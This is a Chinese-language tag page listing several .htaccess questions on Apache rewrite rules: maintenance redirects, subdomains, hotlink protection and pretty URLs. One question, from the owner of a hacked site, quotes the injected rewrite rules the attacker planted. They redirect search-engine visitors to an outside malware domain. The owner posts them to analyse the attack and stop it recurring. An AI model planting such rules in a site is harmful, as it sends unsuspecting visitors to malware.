Questions tagged «.htaccess»

目录级配置文件主要在Apache Web服务器上找到

4
.htaccess在负载均衡器后面是否有REMOTE_ADDR的RewriteCond?
我在负载均衡器后面有一个Web服务器。 我需要在我的.htaccess中添加条件重定向,以便在我们使站点离线进行维护时显示维护页面。这部分很简单: RewriteEngine on RewriteCond %{REQUEST_URI} !/maintenance.php$ [NC] RewriteCond %{REQUEST_URI} !\.(jpe?g?|png|gif) [NC] RewriteRule .* /maintenance.php [R=302,L] 但是,我想补充一点,如果访问者的IP地址是我自己的,则它不会将我重定向到维护页面,并且可以像正常在线一样查看和测试该站点。这部分通常也很简单: RewriteEngine on RewriteCond %{REMOTE_ADDR} !^11\.111\.111\.111 RewriteCond %{REQUEST_URI} !/maintenance.php$ [NC] RewriteCond %{REQUEST_URI} !\.(jpe?g?|png|gif) [NC] RewriteRule .* /maintenance.php [R=302,L] 但是,由于我的Web服务器位于负载均衡器的后面,REMOTE_ADDR因此解析为负载均衡服务器的内部IP地址。 如何更改此地址以查找转发的IP地址?我知道在PHP中您可以$_SERVER['HTTP_X_FORWARDED_FOR']用来获取转发的IP地址。我已经尝试了几件事,.htaccess但是没有运气: %{X_FORWARDED_FOR} %{HTTP:X_FORWARDED_FOR} %{HTTP_X_FORWARDED_FOR} 解 我有以下工作: %{HTTP:X-FORWARDED-FOR}

2
通过受感染的FTP帐户剖析网站攻击
我的网站已被黑客入侵,目前,我知道一些细节,但对于确切的发生方式或将来如何阻止它,我一无所知。我需要您的帮助来剖析攻击,以防止再次发生。这有点长,但是我想确保提供足够的信息来帮助解决问题。 这是发生了什么事。 几周前,我收到托管公司GoDaddy的电子邮件,说我的网站使用了太多资源,他们期望MySQL查询是罪魁祸首。有问题的查询是其中包含5-6个字词的搜索查询。我设置的方式越多,搜索的词越多,查询变得越复杂。没问题。我已修复它,但与此同时,GoDaddy也暂时关闭了我的帐户,大约3天后一切恢复正常。 发生此事件后,我的搜索引擎流量急剧下降了大约90%。我很没想到,它很烂,将其写到惨败的查询中,并确定它会在Google重新抓取该网站后及时返回。没有。 几天前,我收到用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该网站,但没有看到任何内容注入该页面。然后,我检查了.htaccess文件,发现了以下内容: <IfModule mod_rewrite.c> RewriteEngine On RewriteOptions inherit RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC] RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 …

1
创建虚拟主机并将其转发子域
苏大师 我有一个简单的.htaccess文件,在该文件中,我的Webapp只将非www重定向到www。现在我要做的是 创建一个新的虚拟主机,例如http://subdomain.mydomain.tld 为任何人进入该子域创建一个重定向到我的应用程序上的文件夹,例如app / webroot / subdomain 我当前的.htaccess看起来像这样 <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{HTTP_HOST} !^www\.mydomain\.tld [NC] RewriteRule ^(.*)$ http://www.mydomain.tld/$1 [R=301.L] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ app/webroot/$1 [QSA,L] </IfModule> 我将如何处理?我可以在.htaccess文件中完成所有这些操作,还是需要与GoDaddy混淆?如果可以的话,我宁愿不在应用程序中执行此操作。 我正在运行Ubuntu 10.04 + Apache 2.2.14-5 谢谢

5
如何防止网站上资源的热链接(“图像盗窃” /“带宽盗窃”)?
我正在尝试编写“最终”反热链接.htaccess ... 您可以在网上找到许多示例/教程 / 生成器,但其中许多是错误的或不完整的(或两者都是)。 这些是我要寻找的功能: 当HTTP_REFERER是外部站点时,必须阻止热链接以获取文件扩展名列表。 必须允许对当前域(duh)进行热链接,而不必在.htaccess中对其进行编码。 对于当前域,它必须在http和https下运行。 对于当前域,它必须与www一起使用,而不能与www一起使用。 必须能够将例外域添加到这些规则中(例如我们的朋友Google),并且这些域必须在http和https下以及带有www或不带有www的情况下工作。 到目前为止,这是我实现的目标: <IfModule mod_rewrite.c> Options +FollowSymlinks RewriteEngine On RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?mydomain.com/.*$ [NC] RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?google.com/.*$ [NC] RewriteRule \.(gif|jpe?g|png|zipx?)$ - [NC,F] </IfModule> 我的问题: 如何避免mydomain.com在.htaccess中进行硬编码?(能够将这个.htaccess部署到我所有的域中而不必为每个域都进行修改,那就太好了。) 在我的RewriteRule中,gif|jpe?g|png|zipx?等效gif|jpg|jpeg|png|zip|zipx吗?(对不起,正则表达式仍然很新。) 您是否发现我不知道的.htaccess中有什么不好的东西? 对于#1,我知道这是有可能的。我找到的最接近的代码段是从URL中删除www而不对域进行硬编码的代码段。有没有办法对我的问题1使用此方法? RewriteCond %{HTTP_HOST} ^www\.(.+) RewriteCond %{HTTPS}s/%1 ^(on(s)|offs)/(.+) RewriteRule ^ http%2://%3%{REQUEST_URI} [L,R=301] 更新: …

1
使用mod_rewrite的.htaccess重定向规则
我有一个PHP脚本,可根据查询从数据库动态生成内容。用户可能会在文本框中搜索用户名“ mark”。内容由PHP提供,位于www.domain.com/?username=mark,尽管我希望用户将提供的URL视为www.domain.com/username/mark.html。同样,用户可以按配置文件(整数)进行搜索。内容在www.domain.com/?profile=2上生成。我希望用户将提供的网址视为www.domain.com/profile/2.html。这可行吗? 这是我的.htaccess文件: RewriteEngine On RewriteRule ^username/([^/]*)\.html$ /?username=$1 [L] RewriteRule ^realname/([^/]*)\.html$ /?realname=$1 [L] RewriteRule ^profile/([^/]*)\.html$ /?profile=$1 [L] 已启用Mod_rewrite,但此文件似乎无法正常工作。

1
Mod Rewrite-检查特定目录中的文件
我正在使用以下mod rewrite脚本,我想对其进行更改以尝试在特定目录中查找文件,请有人提示我如何实现此目的吗? <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> 重写需要检查文件名是否在请求的位置,如果失败,它将在目录'/ themes / theme1'中进行检查,最后,当上述两个文件失败时,它将进入/index.php。
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.